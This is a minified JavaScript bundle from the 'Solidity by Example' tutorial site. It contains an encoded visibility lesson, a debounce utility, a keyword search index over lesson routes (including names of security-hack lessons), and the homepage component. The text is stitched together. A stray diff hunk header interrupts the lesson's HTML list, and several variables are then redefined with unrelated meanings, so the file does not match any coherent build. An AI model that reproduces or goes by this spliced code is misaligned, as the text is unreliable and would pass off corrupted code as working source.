                                              +`,yB=({prev:s,next:a})=>i.jsx(u,{version:dB,title:IB,description:CB,html:uB,prev:s,next:a,codes:jB}),mB="0.8.20",AB="Visibility",bB="An example of external, internal, private and public functions in Solidity",wB=[{fileName:"Visibility.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEJhc2UgewogICAgLy8gUHJpdmF0ZSBmdW5jdGlvbiBjYW4gb25seSBiZSBjYWxsZWQKICAgIC8vIC0gaW5zaWRlIHRoaXMgY29udHJhY3QKICAgIC8vIENvbn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WxWYXIgPSAibXkgZXh0ZXJuYWwgdmFyaWFibGUiOwp9Cgpjb250cmFjdCBDaGlsZCBpcyBCYXNlIHsKICAgIC8vIEluaGVyaXRlZCBjb250cmFjdHMgZG8gbm90IGhhdmUgYWNjZXNzIHRvIHByaXZhdGUgZnVuY3Rpb25zCiAgICAvLyBhbmQgc3RhdGUgdmFyaWFibGVzLgogICAgLy8gZnVuY3Rpb24gdGVzdFByaXZhdGVGdW5jKCkgcHVibGljIHB1cmUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgLy8gICAgIHJldHVybiBwcml2YXRlRnVuYygpOwogICAgLy8gfQoKICAgIC8vIEludGVybmFsIGZ1bmN0aW9uIGNhbGwgYmUgY2FsbGVkIGluc2lkZSBjaGlsZCBjb250cmFjdHMuCiAgICBmdW5jdGlvbiB0ZXN0SW50ZXJuYWxGdW5jKCkgcHVibGljIHB1cmUgb3ZlcnJpZGUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiBpbnRlcm5hbEZ1bmMoKTsKICAgIH0KfQo="}],kB=`

                                              Functions and state variables have to declare whether they are accessible by other contracts.

                                              Functions can be declared as

                                              • public - any contract and account can call
                                              • @@ -10036,4 +10036,4 @@ echidna-test EchidnaTestTimeAndCaller.sol --contract EchidnaTestTimeAndCaller return internalFunc(); } } -`,bB=({prev:s,next:a})=>i.jsx(u,{version:jB,title:uB,description:yB,html:AB,prev:s,next:a,codes:mB}),wB=({size:s,className:a=""})=>i.jsx("svg",{xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor",width:s,height:s,className:a,children:i.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-5.197-5.197m0 0A7.5 7.5 0 105.196 5.196a7.5 7.5 0 0010.607 10.607z"})}),kB="_component_efeb7_1",ZB="_icon_efeb7_8",WB="_input_efeb7_12",Ie={component:kB,icon:ZB,input:WB},BB=({value:s,onChange:a})=>{function n(l){a(l.target.value)}return i.jsxs("div",{className:Ie.component,children:[i.jsx(wB,{size:18,className:Ie.icon}),i.jsx("input",{className:Ie.input,placeholder:"Search",value:s,onChange:n})]})};var GB="Expected a function",Yo=NaN,fB="[object Symbol]",VB=/^\s+|\s+$/g,vB=/^[-+]0x[0-9a-f]+$/i,YB=/^0b[01]+$/i,RB=/^0o[0-7]+$/i,XB=parseInt,HB=typeof dl=="object"&&dl&&dl.Object===Object&&dl,FB=typeof self=="object"&&self&&self.Object===Object&&self,NB=HB||FB||Function("return this")(),KB=Object.prototype,SB=KB.toString,xB=Math.max,MB=Math.min,Ce=function(){return NB.Date.now()};function JB(s,a,n){var l,p,e,c,t,o,r=0,d=!1,I=!1,j=!0;if(typeof s!="function")throw new TypeError(GB);a=Ro(a)||0,hc(n)&&(d=!!n.leading,I="maxWait"in n,e=I?xB(Ro(n.maxWait)||0,a):e,j="trailing"in n?!!n.trailing:j);function y(k){var G=l,v=p;return l=p=void 0,r=k,c=s.apply(v,G),c}function A(k){return r=k,t=setTimeout(g,a),d?y(k):c}function b(k){var G=k-o,v=k-r,M=a-G;return I?MB(M,e-v):M}function B(k){var G=k-o,v=k-r;return o===void 0||G>=a||G<0||I&&v>=e}function g(){var k=Ce();if(B(k))return h(k);t=setTimeout(g,b(k))}function h(k){return t=void 0,j&&l?y(k):(l=p=void 0,c)}function C(){t!==void 0&&clearTimeout(t),r=0,l=o=p=t=void 0}function m(){return t===void 0?c:h(Ce())}function Z(){var k=Ce(),G=B(k);if(l=arguments,p=this,o=k,G){if(t===void 0)return A(o);if(I)return t=setTimeout(g,a),y(o)}return t===void 0&&(t=setTimeout(g,a)),c}return Z.cancel=C,Z.flush=m,Z}function hc(s){var a=typeof s;return!!s&&(a=="object"||a=="function")}function zB(s){return!!s&&typeof s=="object"}function EB(s){return typeof s=="symbol"||zB(s)&&SB.call(s)==fB}function Ro(s){if(typeof s=="number")return s;if(EB(s))return Yo;if(hc(s)){var a=typeof s.valueOf=="function"?s.valueOf():s;s=hc(a)?a+"":a}if(typeof s!="string")return s===0?s:+s;s=s.replace(VB,"");var n=YB.test(s);return n||RB.test(s)?XB(s.slice(2),n?2:8):vB.test(s)?Yo:+s}var LB=JB;const QB=Ko(LB),_B={leading:!1,trailing:!0};function UB(s,a,n){return W.useCallback(QB(s,a,_B),n)}function TB(s,a){let n=s;for(let l=0;l0;){const[e,c,t]=a.pop();p&&(l=l.slice(0,c-1),p=!1),l+=e;const o=Object.keys(t);if(o.length>0)for(let r=0;ra+p)}const PB=["/visibility"],$B=["/visibility","/view-and-pure-functions","/sending-ether","/hashing","/function-selector","/function-modifier","/function","/fallback","/delegatecall","/calling-contract","/call"],qB=["/visibility"],sG=["/visibility","/hacks/hiding-malicious-code-with-external-contract"],aG=["/view-and-pure-functions"],nG=["/view-and-pure-functions"],lG=["/variables","/structs","/state-variables","/shadowing-inherited-state-variables","/primitives","/mapping","/immutable","/ether-units","/enum","/constants","/assembly-variable","/array"],pG=["/variables","/structs","/state-variables","/shadowing-inherited-state-variables","/primitives","/mapping","/immutable","/ether-units","/enum","/constants","/array"],eG=["/variables"],cG=["/variables"],tG=["/variables","/state-variables","/shadowing-inherited-state-variables"],oG=["/variables","/structs","/primitives","/mapping","/immutable","/hacks/accessing-private-data","/ether-units","/enum","/data-locations","/constants","/array","/app/iterable-mapping"],rG=["/unchecked-math","/gas-golf","/gas"],iG=["/unchecked-math"],hG=["/unchecked-math","/assembly-math","/app/assembly-bin-exp"],gG=["/unchecked-math","/hacks/overflow"],dG=["/unchecked-math","/hacks/overflow"],IG=["/try-catch","/error","/assembly-error"],CG=["/try-catch","/error"],jG=["/tests/echidna"],uG=["/tests/echidna"],yG=["/super","/calling-contract"],mG=["/super"],AG=["/super","/new-contract","/interface","/inheritance","/hello-world","/hacks/hiding-malicious-code-with-external-contract","/hacks/deploy-different-contracts-same-address","/hacks/contract-size","/first-app","/delegatecall","/constructor","/calling-contract","/call","/app/simple-bytecode-contract","/app/minimal-proxy","/app/deploy-any-contract","/app/create2"],bG=["/super","/new-contract","/interface","/inheritance","/first-app","/delegatecall","/calling-contract","/call"],wG=["/super","/shadowing-inherited-state-variables","/inheritance","/constructor"],kG=["/structs"],ZG=["/structs"],WG=["/structs","/primitives"],BG=["/structs","/primitives"],GG=["/state-variables"],fG=["/state-variables"],VG=["/state-variables","/hello-world","/first-app","/app/write-to-any-slot","/app/upgradeable-proxy","/app/uni-directional-payment-channel","/app/time-lock","/app/simple-bytecode-contract","/app/multi-sig-wallet","/app/multi-delegatecall","/app/multi-call","/app/minimal-proxy","/app/merkle-tree","/app/iterable-mapping","/app/gasless-token-transfer","/app/ether-wallet","/app/erc721","/app/erc20","/app/erc1155","/app/english-auction","/app/dutch-auction","/app/deploy-any-contract","/app/crowd-fund","/app/create2","/app/bi-directional-payment-channel"],vG=["/state-variables","/hello-world","/first-app","/app/write-to-any-slot","/app/upgradeable-proxy","/app/uni-directional-payment-channel","/app/time-lock","/app/simple-bytecode-contract","/app/multi-sig-wallet","/app/multi-delegatecall","/app/multi-call","/app/minimal-proxy","/app/merkle-tree","/app/iterable-mapping","/app/gasless-token-transfer","/app/ether-wallet","/app/erc721","/app/erc20","/app/erc1155","/app/english-auction","/app/dutch-auction","/app/deploy-any-contract","/app/crowd-fund","/app/create2","/app/bi-directional-payment-channel"],YG=["/signature","/hashing","/hacks/signature-replay","/app/uni-directional-payment-channel","/app/merkle-tree","/app/bi-directional-payment-channel"],RG=["/signature"],XG=["/signature"],HG=["/signature","/hacks/signature-replay","/app/uni-directional-payment-channel","/app/multi-sig-wallet","/app/bi-directional-payment-channel"],FG=["/signature"],NG=["/signature"],KG=["/shadowing-inherited-state-variables"],SG=["/shadowing-inherited-state-variables"],xG=["/sending-ether"],MG=["/sending-ether","/sending-ether","/payable","/fallback"],JG=["/sending-ether","/payable","/fallback","/ether-units","/app/ether-wallet"],zG=["/sending-ether","/payable","/fallback","/app/ether-wallet"],EG=["/sending-ether","/fallback","/app/gasless-token-transfer"],LG=["/sending-ether","/delegatecall","/calling-contract","/call","/app/multi-call"],QG=["/sending-ether","/fallback"],_G=["/sending-ether","/fallback"],UG=["/sending-ether","/payable","/fallback"],TG=["/primitives"],DG=["/primitives"],OG=["/primitives"],PG=["/primitives"],$G=["/primitives"],qG=["/primitives","/hacks/deploy-different-contracts-same-address","/app/create2"],sf=["/primitives"],af=["/primitives"],nf=["/new-contract","/hacks/deploy-different-contracts-same-address"],lf=["/new-contract"],pf=["/new-contract","/hacks/deploy-different-contracts-same-address","/app/create2"],ef=["/new-contract","/hacks/deploy-different-contracts-same-address"],cf=["/mapping","/app/iterable-mapping"],tf=["/loop","/assembly-loop"],of=["/loop"],rf=["/library"],hf=["/interface"],gf=["/inheritance"],df=["/inheritance"],If=["/inheritance"],Cf=["/immutable","/defi/constant-sum-amm","/defi/constant-product-amm","/constants"],jf=["/immutable","/constants"],uf=["/immutable"],yf=["/immutable"],mf=["/if-else"],Af=["/if-else"],bf=["/if-else"],wf=["/hello-world"],kf=["/hello-world"],Zf=["/hashing"],Wf=["/hashing"],Bf=["/hashing"],Gf=["/hacks/vault-inflation","/hacks/signature-replay","/hacks/self-destruct","/hacks/re-entrancy","/hacks/randomness","/hacks/phishing-with-tx-origin","/hacks/overflow","/hacks/honeypot","/hacks/hiding-malicious-code-with-external-contract","/hacks/front-running","/hacks/deploy-different-contracts-same-address","/hacks/denial-of-service","/hacks/delegatecall","/hacks/contract-size","/hacks/block-timestamp-manipulation","/hacks/accessing-private-data"],ff=["/hacks/vault-inflation","/hacks/signature-replay","/hacks/self-destruct","/hacks/re-entrancy","/hacks/randomness","/hacks/phishing-with-tx-origin","/hacks/overflow","/hacks/honeypot","/hacks/hiding-malicious-code-with-external-contract","/hacks/front-running","/hacks/deploy-different-contracts-same-address","/hacks/denial-of-service","/hacks/delegatecall","/hacks/contract-size","/hacks/block-timestamp-manipulation","/hacks/accessing-private-data"],Vf=["/hacks/vault-inflation"],vf=["/hacks/vault-inflation"],Yf=["/hacks/vault-inflation","/defi/vault"],Rf=["/hacks/signature-replay"],Xf=["/hacks/self-destruct"],Hf=["/hacks/randomness"],Ff=["/hacks/randomness"],Nf=["/hacks/randomness"],Kf=["/hacks/randomness"],Sf=["/hacks/randomness","/hacks/block-timestamp-manipulation"],xf=["/hacks/randomness","/hacks/block-timestamp-manipulation"],Mf=["/hacks/phishing-with-tx-origin"],Jf=["/hacks/overflow"],zf=["/hacks/honeypot"],Ef=["/hacks/hiding-malicious-code-with-external-contract"],Lf=["/hacks/hiding-malicious-code-with-external-contract"],Qf=["/hacks/hiding-malicious-code-with-external-contract"],_f=["/hacks/hiding-malicious-code-with-external-contract"],Uf=["/hacks/front-running"],Tf=["/hacks/front-running"],Df=["/hacks/deploy-different-contracts-same-address","/app/deploy-any-contract"],Of=["/hacks/deploy-different-contracts-same-address"],Pf=["/hacks/deploy-different-contracts-same-address"],$f=["/hacks/denial-of-service"],qf=["/hacks/denial-of-service"],s2=["/hacks/delegatecall","/delegatecall","/app/upgradeable-proxy","/app/multi-delegatecall"],a2=["/hacks/contract-size"],n2=["/hacks/contract-size"],l2=["/hacks/contract-size"],p2=["/hacks/contract-size"],e2=["/hacks/block-timestamp-manipulation"],c2=["/hacks/accessing-private-data"],t2=["/hacks/accessing-private-data"],o2=["/hacks/accessing-private-data","/data-locations","/app/write-to-any-slot"],r2=["/gas-golf"],i2=["/function-selector"],h2=["/function-selector"],g2=["/function-modifier"],d2=["/function-modifier"],I2=["/function-modifier"],C2=["/first-app"],j2=["/first-app"],u2=["/events"],y2=["/events"],m2=["/ether-units"],A2=["/ether-units"],b2=["/error"],w2=["/error","/assembly-error"],k2=["/error"],Z2=["/enum"],W2=["/defi/vault","/defi/uniswap-v3-swap","/defi/uniswap-v3-liquidity","/defi/uniswap-v3-flash-swap","/defi/uniswap-v3-flash","/defi/uniswap-v2-optimal-one-sided-supply","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2-add-remove-liquidity","/defi/uniswap-v2","/defi/staking-rewards","/defi/stable-swap-amm","/defi/discrete-staking-rewards","/defi/dai-proxy","/defi/constant-sum-amm","/defi/constant-product-amm","/defi/chainlink-price-oracle"],B2=["/defi/uniswap-v3-swap","/defi/uniswap-v3-liquidity","/defi/uniswap-v3-flash-swap","/defi/uniswap-v3-flash","/defi/uniswap-v2-optimal-one-sided-supply","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2-add-remove-liquidity","/defi/uniswap-v2"],G2=["/defi/uniswap-v3-swap","/defi/uniswap-v3-liquidity","/defi/uniswap-v3-flash-swap","/defi/uniswap-v3-flash"],f2=["/defi/uniswap-v3-swap","/defi/uniswap-v3-flash-swap","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2","/defi/stable-swap-amm"],V2=["/defi/uniswap-v3-swap","/defi/uniswap-v3-liquidity","/defi/uniswap-v3-flash-swap","/defi/uniswap-v3-flash","/defi/uniswap-v2-optimal-one-sided-supply","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2-add-remove-liquidity","/defi/uniswap-v2","/defi/stable-swap-amm","/defi/constant-sum-amm","/defi/constant-product-amm"],v2=["/defi/uniswap-v3-liquidity","/defi/uniswap-v2-add-remove-liquidity"],Y2=["/defi/uniswap-v3-flash-swap"],R2=["/defi/uniswap-v3-flash","/defi/uniswap-v2-flash-swap"],X2=["/defi/uniswap-v3-flash"],H2=["/defi/uniswap-v2-optimal-one-sided-supply","/defi/uniswap-v2-flash-swap","/defi/uniswap-v2-add-remove-liquidity","/defi/uniswap-v2"],F2=["/defi/uniswap-v2-optimal-one-sided-supply"],N2=["/defi/uniswap-v2-optimal-one-sided-supply"],K2=["/defi/uniswap-v2-optimal-one-sided-supply"],S2=["/defi/uniswap-v2-optimal-one-sided-supply"],x2=["/defi/uniswap-v2-add-remove-liquidity","/assembly-math"],M2=["/defi/uniswap-v2-add-remove-liquidity"],J2=["/defi/staking-rewards","/defi/discrete-staking-rewards"],z2=["/defi/staking-rewards","/defi/discrete-staking-rewards"],E2=["/defi/staking-rewards","/defi/discrete-staking-rewards"],L2=["/defi/stable-swap-amm"],Q2=["/defi/stable-swap-amm"],_2=["/defi/discrete-staking-rewards"],U2=["/defi/dai-proxy"],T2=["/defi/dai-proxy","/app/upgradeable-proxy","/app/minimal-proxy"],D2=["/defi/constant-sum-amm"],O2=["/defi/constant-product-amm"],P2=["/defi/chainlink-price-oracle"],$2=["/defi/chainlink-price-oracle"],q2=["/defi/chainlink-price-oracle"],sV=["/defi/chainlink-price-oracle"],aV=["/data-locations"],nV=["/data-locations"],lV=["/data-locations"],pV=["/data-locations"],eV=["/constructor"],cV=["/constructor"],tV=["/calling-contract"],oV=["/bitwise"],rV=["/bitwise"],iV=["/bitwise"],hV=["/bitwise"],gV=["/bitwise","/assembly-variable","/assembly-math","/assembly-loop","/assembly-if","/assembly-error","/app/assembly-bin-exp"],dV=["/assembly-variable","/assembly-math","/assembly-loop","/assembly-if","/assembly-error","/app/assembly-bin-exp"],IV=["/assembly-math"],CV=["/array"],jV=["/array"],uV=["/app/write-to-any-slot"],yV=["/app/write-to-any-slot","/app/deploy-any-contract"],mV=["/app/write-to-any-slot"],AV=["/app/upgradeable-proxy"],bV=["/app/uni-directional-payment-channel","/app/bi-directional-payment-channel"],wV=["/app/uni-directional-payment-channel","/app/bi-directional-payment-channel"],kV=["/app/time-lock"],ZV=["/app/time-lock"],WV=["/app/simple-bytecode-contract"],BV=["/app/simple-bytecode-contract"],GV=["/app/multi-sig-wallet","/app/multi-delegatecall","/app/multi-call"],fV=["/app/multi-sig-wallet"],VV=["/app/multi-sig-wallet","/app/ether-wallet"],vV=["/app/multi-call"],YV=["/app/minimal-proxy"],RV=["/app/merkle-tree"],XV=["/app/merkle-tree"],HV=["/app/iterable-mapping"],FV=["/app/gasless-token-transfer"],NV=["/app/gasless-token-transfer","/app/erc20"],KV=["/app/gasless-token-transfer"],SV=["/app/gasless-token-transfer"],xV=["/app/erc721"],MV=["/app/erc721"],JV=["/app/erc721","/app/erc1155"],zV=["/app/erc20"],EV=["/app/erc20"],LV=["/app/erc1155"],QV=["/app/erc1155"],_V=["/app/english-auction"],UV=["/app/english-auction","/app/dutch-auction"],TV=["/app/english-auction","/app/dutch-auction"],DV=["/app/dutch-auction"],OV=["/app/crowd-fund"],PV=["/app/crowd-fund"],$V=["/app/crowd-fund"],qV=["/app/create2"],s1=["/app/assembly-bin-exp"],a1=["/app/assembly-bin-exp"],n1=["/abi-encode","/abi-decode"],l1=["/abi-encode"],p1=["/abi-encode","/abi-decode"],e1=["/abi-encode"],c1=["/abi-encode"],t1=["/abi-encode"],o1=["/abi-decode"],Xo={visibility:PB,function:["/visibility","/view-and-pure-functions","/sending-ether","/hashing","/function-selector","/function-modifier","/function","/fallback","/delegatecall","/calling-contract","/call"],functions:$B,internal:qB,private:["/visibility","/hacks/accessing-private-data"],public:["/visibility"],external:sG,view:aG,pure:nG,variable:lG,variables:pG,local:eG,global:cG,state:tG,data:oG,gas:rG,unchecked:iG,math:hG,overflow:gG,underflow:dG,try:["/try-catch"],catch:["/try-catch"],error:IG,errors:CG,test:jG,echidna:uG,calling:yG,parent:mG,contract:AG,contracts:bG,inheritance:wG,super:["/super","/inheritance"],struct:kG,structs:ZG,type:WG,types:BG,reading:GG,writing:fG,app:VG,application:vG,cryptography:YG,verify:RG,verifying:XG,signature:HG,signatures:FG,ecrecover:NG,shadow:KG,shadowing:SG,sending:xG,send:MG,ether:JG,eth:zG,transfer:EG,call:LG,fallback:QG,receive:_G,payable:UG,primitive:TG,primitives:DG,boolean:OG,uint256:PG,int256:$G,address:qG,uint:sf,int:af,new:["/new-contract","/new-contract"],create:nf,creates:lf,create2:pf,salt:ef,mapping:cf,for:["/loop","/assembly-loop"],loop:tf,loops:of,while:["/loop","/assembly-loop"],do:["/loop"],library:rf,interface:["/interface"],interfaces:hf,override:gf,virtual:df,is:If,import:["/import","/enum"],constant:Cf,constants:jf,immutable:uf,immutables:yf,if:["/if-else","/assembly-if"],else:["/if-else"],conditional:mf,statement:Af,statements:bf,hello:wf,world:kf,hash:Zf,hashing:Wf,keccak256:Bf,hack:Gf,security:ff,inflation:Vf,erc4626:vf,vault:Yf,replay:Rf,selfdestruct:Xf,"re-entrancy":["/hacks/re-entrancy"],source:Hf,random:Ff,randomness:Nf,blockhash:Kf,block:Sf,timestamp:xf,phishing:Mf,"tx.origin":["/hacks/phishing-with-tx-origin"],arithmetic:Jf,honeypot:zf,hide:Ef,hiding:Lf,malicious:Qf,code:_f,front:Uf,running:Tf,deploy:Df,different:Of,same:Pf,denial:$f,service:qf,delegatecall:s2,bypass:a2,size:n2,check:l2,extcodesize:p2,manipulation:e2,access:c2,accessing:t2,storage:o2,golf:r2,selector:i2,selectors:h2,modifier:g2,modifiers:d2,_:I2,first:C2,counter:j2,event:u2,events:y2,wei:m2,units:A2,require:b2,revert:w2,assert:k2,enum:["/enum"],imports:Z2,defi:W2,uniswap:B2,v3:G2,swap:f2,amm:V2,liquidity:v2,arbitrage:Y2,flash:R2,loan:X2,v2:H2,optimal:F2,one:N2,sided:K2,supply:S2,add:x2,remove:M2,staking:J2,reward:z2,rewards:E2,curve:L2,stable:Q2,discrete:_2,dai:U2,proxy:T2,sum:D2,product:O2,chainlink:P2,price:$2,oracle:q2,oracles:sV,location:aV,locations:nV,memory:lV,calldata:pV,constructor:eV,constructors:cV,other:tV,bitwise:oV,most:rV,significant:iV,bit:hV,assembly:gV,yul:dV,mul:IV,switch:["/assembly-if"],array:CV,arrays:jV,write:uV,any:yV,slot:mV,upgradeable:AV,"uni-directional":["/app/uni-directional-payment-channel"],payment:bV,channel:wV,time:kV,lock:ZV,simple:WV,bytecode:BV,multi:GV,sig:fV,wallet:VV,staticcall:vV,minimal:YV,merkle:RV,tree:XV,iterable:HV,gasless:FV,token:NV,ERC20:KV,permit:SV,erc721:xV,ierc721:MV,nft:JV,erc20:zV,ierc20:EV,erc1155:LV,ierc1155:QV,english:_V,auction:UV,auctions:TV,dutch:DV,crowd:OV,fund:PV,funding:$V,precompute:qV,"bi-directional":["/app/bi-directional-payment-channel"],binary:s1,exponentiation:a1,abi:n1,encode:l1,bytes:p1,encodeWithSelector:e1,encodeWithSignature:c1,encodeCall:t1,decode:o1},Ho={"/visibility":["visibility","function","functions","internal","private","public","external"],"/view-and-pure-functions":["view","pure","function","functions"],"/variables":["variable","variables","local","global","state","data"],"/unchecked-math":["gas","unchecked","math","overflow","underflow"],"/try-catch":["try","catch","error","errors"],"/tests/echidna":["test","echidna"],"/super":["calling","parent","contract","contracts","inheritance","super"],"/structs":["struct","structs","data","type","types","variable","variables"],"/state-variables":["reading","writing","state","variable","variables","app","application"],"/signature":["cryptography","verify","verifying","signature","signatures","ecrecover"],"/shadowing-inherited-state-variables":["state","variables","variable","shadow","shadowing","inheritance"],"/sending-ether":["sending","send","ether","eth","transfer","send","call","fallback","receive","payable","function","functions"],"/primitives":["primitive","primitives","data","type","types","variable","variables","boolean","uint256","int256","address","uint","int"],"/payable":["payable","eth","send","ether"],"/new-contract":["new","contract","create","contracts","creates","new","create2","salt"],"/mapping":["data","variable","variables","mapping"],"/loop":["for","loop","loops","while","do"],"/library":["library"],"/interface":["interface","interfaces","contract","contracts"],"/inheritance":["inheritance","super","override","virtual","is","contract","contracts"],"/import":["import"],"/immutable":["constant","constants","immutable","immutables","data","variable","variables"],"/if-else":["if","else","conditional","statement","statements"],"/hello-world":["contract","app","application","hello","world"],"/hashing":["hash","hashing","function","functions","keccak256","cryptography"],"/hacks/vault-inflation":["hack","security","inflation","erc4626","vault"],"/hacks/signature-replay":["hack","security","cryptography","signature","replay"],"/hacks/self-destruct":["hack","security","selfdestruct"],"/hacks/re-entrancy":["hack","security","re-entrancy"],"/hacks/randomness":["hack","security","source","random","randomness","blockhash","block","timestamp"],"/hacks/phishing-with-tx-origin":["hack","security","phishing","tx.origin"],"/hacks/overflow":["hack","security","arithmetic","overflow","underflow"],"/hacks/honeypot":["hack","security","honeypot"],"/hacks/hiding-malicious-code-with-external-contract":["hack","security","hide","hiding","malicious","code","external","contract"],"/hacks/front-running":["hack","security","front","running"],"/hacks/deploy-different-contracts-same-address":["hack","security","deploy","salt","create","create2","different","contract","same","address"],"/hacks/denial-of-service":["hack","security","denial","service"],"/hacks/delegatecall":["hack","security","delegatecall"],"/hacks/contract-size":["hack","security","bypass","contract","size","check","extcodesize"],"/hacks/block-timestamp-manipulation":["hack","security","block","timestamp","manipulation"],"/hacks/accessing-private-data":["hack","security","access","accessing","private","data","storage"],"/gas-golf":["gas","golf"],"/gas":["gas"],"/function-selector":["function","functions","selector","selectors"],"/function-modifier":["function","functions","modifier","modifiers","_"],"/function":["function","functions"],"/first-app":["contract","contracts","app","first","application","counter"],"/fallback":["fallback","function","functions","receive","payable","send","ether","eth","transfer"],"/events":["event","events"],"/ether-units":["data","variables","variable","ether","wei","units"],"/error":["error","errors","require","revert","assert"],"/enum":["data","variable","variables","enum","import","imports"],"/delegatecall":["delegatecall","call","contract","contracts","function","functions"],"/defi/vault":["defi","vault"],"/defi/uniswap-v3-swap":["defi","uniswap","v3","swap","amm"],"/defi/uniswap-v3-liquidity":["defi","uniswap","v3","liquidity","amm"],"/defi/uniswap-v3-flash-swap":["defi","uniswap","v3","swap","arbitrage","amm"],"/defi/uniswap-v3-flash":["defi","uniswap","v3","flash","loan","amm"],"/defi/uniswap-v2-optimal-one-sided-supply":["defi","uniswap","v2","optimal","one","sided","supply","amm"],"/defi/uniswap-v2-flash-swap":["defi","uniswap","v2","flash","swap","amm"],"/defi/uniswap-v2-add-remove-liquidity":["defi","uniswap","v2","add","remove","liquidity","amm"],"/defi/uniswap-v2":["defi","uniswap","v2","swap","amm"],"/defi/staking-rewards":["defi","staking","reward","rewards"],"/defi/stable-swap-amm":["defi","curve","stable","swap","amm"],"/defi/discrete-staking-rewards":["defi","discrete","staking","reward","rewards"],"/defi/dai-proxy":["defi","dai","proxy"],"/defi/constant-sum-amm":["defi","constant","sum","amm"],"/defi/constant-product-amm":["defi","constant","product","amm"],"/defi/chainlink-price-oracle":["defi","chainlink","price","oracle","oracles"],"/data-locations":["data","location","locations","storage","memory","calldata"],"/constructor":["constructor","constructors","contract","inheritance"],"/constants":["constant","constants","data","variable","variables"],"/calling-contract":["calling","other","contract","contracts","call","function","functions"],"/call":["contract","contracts","call","function","functions"],"/bitwise":["bitwise","most","significant","bit","assembly"],"/assembly-variable":["assembly","variable","yul"],"/assembly-math":["assembly","yul","math","add","mul"],"/assembly-loop":["assembly","loop","yul","while","for"],"/assembly-if":["assembly","yul","if","switch"],"/assembly-error":["assembly","yul","error","revert"],"/array":["data","variable","variables","array","arrays"],"/app/write-to-any-slot":["app","application","write","any","slot","storage"],"/app/upgradeable-proxy":["app","application","delegatecall","upgradeable","proxy"],"/app/uni-directional-payment-channel":["app","application","uni-directional","payment","channel","signature","cryptography"],"/app/time-lock":["app","application","time","lock"],"/app/simple-bytecode-contract":["app","application","simple","bytecode","contract"],"/app/multi-sig-wallet":["app","application","multi","sig","signature","wallet"],"/app/multi-delegatecall":["app","application","multi","delegatecall"],"/app/multi-call":["app","application","multi","call","staticcall"],"/app/minimal-proxy":["app","application","minimal","proxy","contract"],"/app/merkle-tree":["app","application","merkle","tree","cryptography"],"/app/iterable-mapping":["app","application","mapping","data","iterable"],"/app/gasless-token-transfer":["app","application","gasless","token","transfer","ERC20","permit"],"/app/ether-wallet":["app","application","ether","eth","wallet"],"/app/erc721":["app","application","erc721","ierc721","nft"],"/app/erc20":["app","application","erc20","ierc20","token"],"/app/erc1155":["app","application","erc1155","nft","ierc1155"],"/app/english-auction":["app","application","english","auction","auctions"],"/app/dutch-auction":["app","application","dutch","auction","auctions"],"/app/deploy-any-contract":["app","application","deploy","any","contract"],"/app/crowd-fund":["app","application","crowd","fund","funding"],"/app/create2":["app","application","create2","precompute","contract","address"],"/app/bi-directional-payment-channel":["app","application","bi-directional","payment","channel","signature","cryptography"],"/app/assembly-bin-exp":["assembly","yul","binary","exponentiation","math"],"/abi-encode":["abi","encode","bytes","encodeWithSelector","encodeWithSignature","encodeCall"],"/abi-decode":["abi","decode","bytes"]},Ch=[];for(const s of Object.keys(Ho))Ch.push(...Ho[s]);const jh={};for(const s of Ch)TB(jh,s);function r1(s){return Array.from(new Set(s))}function i1(s){const a=[],n=OB(jh,s.toLowerCase());for(const l of n)Xo[l]&&a.push(...Xo[l]);return a}const h1="_component_196j1_1",g1="_updates_196j1_8",d1="_category_196j1_13",I1="_search_196j1_16",C1="_listItem_196j1_20",j1="_label_196j1_28",u1="_header_196j1_31",y1="_youTube_196j1_34",m1="_youTubeLogo_196j1_40",rs={component:h1,updates:g1,category:d1,search:I1,listItem:C1,label:j1,header:u1,youTube:y1,youTubeLogo:m1},A1=["2024/01/09 - Vault inflation attack","2024/01/05 - DAI proxy","2023/11/06 - GitHub PR sunnyStefi"];function b1(){const[s,a]=W.useState(""),[n,l]=xI(),[p,e]=W.useState(null);W.useEffect(()=>{const d=n.get("q");d!=null&&d.length>0&&(a(d),c(d,!1))},[]);function c(d,I){const j=d.trim();if(j.length==0){e(null),I&&l({q:""});return}const y=r1(j.split(" ")),A={};for(const b of y){const B=i1(b);for(const g of B)A[g]=!0}e(A),I&&l({q:j})}const t=UB(d=>c(d,!0),500,[]);function o(d){a(d),t(d)}function r(){return p?Object.keys(p).length==0?i.jsx("div",{children:"No results"}):i.jsx("ul",{className:rs.list,children:Cp.filter(({path:d})=>p[d]).map(({path:d,title:I})=>i.jsx("li",{className:rs.listItem,children:i.jsx("a",{href:d,children:I})},d))}):i.jsxs(i.Fragment,{children:[rt.map(({routes:d,title:I},j)=>i.jsxs("div",{children:[I&&i.jsx("h3",{className:rs.category,children:I}),i.jsx("ul",{className:rs.list,children:d.map(({path:y,title:A})=>i.jsx("li",{className:rs.listItem,children:i.jsx("a",{href:y,children:A})},y))})]},j)),i.jsxs("div",{children:[i.jsx("h3",{className:rs.category,children:"Translations"}),DI.map(({lang:d,url:I})=>i.jsx("li",{className:rs.listItem,children:i.jsx("a",{href:I,target:"__blank",children:d})},I))]})]})}return i.jsxs("div",{className:rs.component,children:[i.jsx(Ih,{title:"Solidity by Example | 0.8.20",description:"Learn smart contract programming using Solidity"}),i.jsx("h1",{className:rs.header,children:i.jsx("a",{href:"/",children:"Solidity by Example"})}),i.jsx("div",{className:rs.subHeader,children:"v 0.8.20"}),i.jsxs("div",{className:rs.main,children:[i.jsxs("p",{children:["an introduction to ",i.jsx("a",{href:"https://solidity.readthedocs.io",children:"Solidity"})," with simple examples"]}),i.jsxs("div",{className:rs.youTube,children:[i.jsx("img",{src:dh,alt:"logo",className:rs.youTubeLogo}),i.jsx("a",{href:"https://www.youtube.com/@smartcontractprogrammer",target:"__blank",children:"Most code are explained 